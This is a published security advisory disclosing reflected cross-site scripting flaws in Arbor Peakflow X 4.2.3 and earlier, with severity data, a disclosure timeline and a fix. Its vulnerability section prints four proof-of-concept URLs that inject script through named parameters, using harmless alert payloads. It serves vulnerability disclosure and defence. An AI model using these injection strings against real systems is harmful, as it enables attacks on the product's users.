(PT-2011-18) Positive Technologies Security Advisory
Cross-Site Scripting in Arbor Peakflow X

Vulnerable software

Arbor Peakflow X
Version: 4.2.3 and earlier

Link:
http://www.arbornetworks.com/

Severity level

Severity level: Medium
Impact: Cross-Site Scripting
Access Vector: Remote

CVSS v2:
Base Score: 4.3
Vector: (AV:N/AC:M/Au:N/C:N/I:P/A:N)

CVE: CVE-2011-4636

Software description

The Arbor Networks Peakflow X solution (“Peakflow X”) was purpose-built to meet the demands of the largest enterprises, addressing a wide range of external and internal security threats while maintaining business continuity. It constructs a system-wide view of the entire network, auto-learning host behaviors to determine who talks to whom, and how.

Vulnerability description

The specialists of the Positive Research center have detected a Cross-Site Scripting vulnerability in Arbor Peakflow X.

XSS-vulnerable parameters are found on several web pages. The following parameters are vulnerable due to insufficient character escaping:

a. /explore/entityinfo/ (mode_state parameter):

https://PEAKFLOW_IP/explore/entityinfo/?action=Update&end_ap=PM&end_day=27&end_month=06&end_time=06%3A52&end_year=2011&entity=aa&mode_state=last_x%22%3E%3Cscript%3Ealert('Don%5C't%20bother%20knockin%5C'%2C%20come%20on%20in! (-:')%3C%2Fscript%3E%3Cinput%20type%3D%22hidden&start_ap=PM&start_day=26&start_month=06&start_time=06%3A52&start_year=2011&time_interval=86400

b. /explore/risk/ (source_type parameter):

https://PEAKFLOW_IP/explore/risk/?action=Search&fcap=~!%40%23%24%25%5E%26*()_%2B%601234567890-%3D%7B%7D%5B%5D%7C%22'%3A%3B%2F%3F.%3E%3C%2C%5C&last_fcap=~!%40%23%24%25%5E%26*()_%2B%601234567890-%3D%7B%7D%5B%5D%7C%22'%3A%3B%2F%3F.%3E%3C%2C%5C&last_source_type=host&page_num=1&source_type=host%22%3E%3Cscript%3Ealert('When%20this%20house%20is%20rockin%5C'%5CnDon%5C't%20bother%20knockin%5C'%5CnWhen%20this%20house%20is%20rockin%5C'%5CnDon%5C't%20bother%20knockin%5C'%5CnWhen%20this%20house%20is%20rockin%5C'%5CnDon%5C't%20bother%2C%20come%20on%20in! %5Cn%5Cn(c)%20Stevie%20Ray%20Vaughan')%3C%2Fscript%3E%3Cinput%20type%3D%22hidden&valid_ids

c. /policy/network/, /settings/audit/ (tab parameter):

https://PEAKFLOW_IP/policy/network/?tab=aa%27%29%3Balert%28%27http:%2F%2Fptsecurity.com

https://PEAKFLOW_IP/settings/audit/?tab=aa%27%29%3Balert%28%27http:%2F%2Fptsecurity.com

d. /policy/rules/index/ (XSS in URL):

https://PEAKFLOW_IP/policy/rules/index/sibears%22%3E%3Cinput%20type=%22button%22%20value=%22XSS!%20Touch%20me!%20XSS!%20Touch%20me!%20XSS!%20Touch%20me!%20XSS!%20Touch%20me!%20XSS!%20Touch%20me!%20XSS!%20Touch%20me!%20XSS!%20Touch%20me!%20XSS!%20Touch%20me!%20XSS!%20Touch%20me!%20%22%20onmouseover=%22alert%28%27ptsecurity.com%27%29

How to fix

Update your software up to the latest version

Advisory status

01.07.2011 - Vendor is notified
19.07.2011 - Vendor gets vulnerability details
02.03.2012 - Vendor releases fixed version and details
31.10.2013 - Public disclosure

Credits

The vulnerability was detected by Maxim Tsoy, Positive Research Center (Positive Technologies Company)

References

http://en.securitylab.ru/lab/PT-2011-18

Reports on the vulnerabilities previously discovered by Positive Research:

http://www.ptsecurity.com/research/advisory/
http://en.securitylab.ru/lab/

About Positive Technologies

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The principal activities of the company include the development of integrated tools for information security monitoring (MaxPatrol); providing IT security consulting services and technical support; development of the Securitylab leading Russian information security portal.

Among the clients of Positive Technologies, there are more than 40 state enterprises, more than 50 banks and financial organizations, 20 telecommunication companies, more than 40 plant facilities, as well as IT, service and retail companies from Russia, the CIS countries, the Baltic States, China, Ecuador, Germany, Great Britain, Holland, Iran, Israel, Japan, Mexico, the Republic of South Africa, Thailand, Turkey, and the USA.

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